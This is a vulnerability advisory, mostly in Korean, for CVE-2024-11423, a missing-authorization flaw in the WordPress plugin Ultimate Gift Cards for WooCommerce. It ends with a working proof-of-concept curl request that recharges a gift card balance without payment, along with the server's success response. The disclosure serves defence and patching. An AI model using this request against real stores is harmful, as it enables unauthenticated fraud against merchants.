CVE-2024-11423

Ultimate Gift Cards for WooCommerce <= 3.0.6 - 누락된 권한 검사로 인한 무한 금액 오류

설명

Ultimate Gift Cards for WooCommerce – Create WooCommerce Gift Cards, Gift Vouchers, Redeem & Manage Digital Gift Coupons. Offer Gift Certificates, Schedule Gift Cards, and Use Advance Coupons With Personalized Templates WordPress 플러그인은 /wp-json/gifting/recharge-giftcard와 같은 여러 REST API 엔드포인트에서 기능 검사(capability check)가 누락되어 승인되지 않은 데이터 수정에 취약합니다. 이는 3.0.6을 포함한 모든 버전에 영향을 미칩니다. 이로 인해 인증되지 않은 공격자는 결제 없이 기프트 카드 잔액을 충전하거나, 아무것도 구매하지 않고 기프트 카드 잔액을 줄일 수 있습니다.

세부 정보

• 유형: 플러그인
• 슬러그: woo-gift-cards-lite
• 영향을 받는 버전: 3.0.6
• CVSS 점수: 7.5
• CVSS 등급: 높음
• CVSS 벡터: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
• CVE: CVE-2024-11423
• 상태: 활성

POC

curl -X POST \
  https://wp-dev.ddev.site/wp-json/gifting/recharge-giftcard \
  -H 'Content-Type: application/json' \
  -d '{"coupon_code": "CUQP4C9M", "recharge_amount": "100.00", "coupon_expiry": "2027-12-31", "usage_limit": "511"}'


{"code":"success","message":"Coupon is successfully Recharged","data":{"status":200,"remaining_amount":120,"discount_type":"fixed_cart","usage_count":0,"usage_limit":"511","description":"","coupon_expiry":"2027-12-31"}}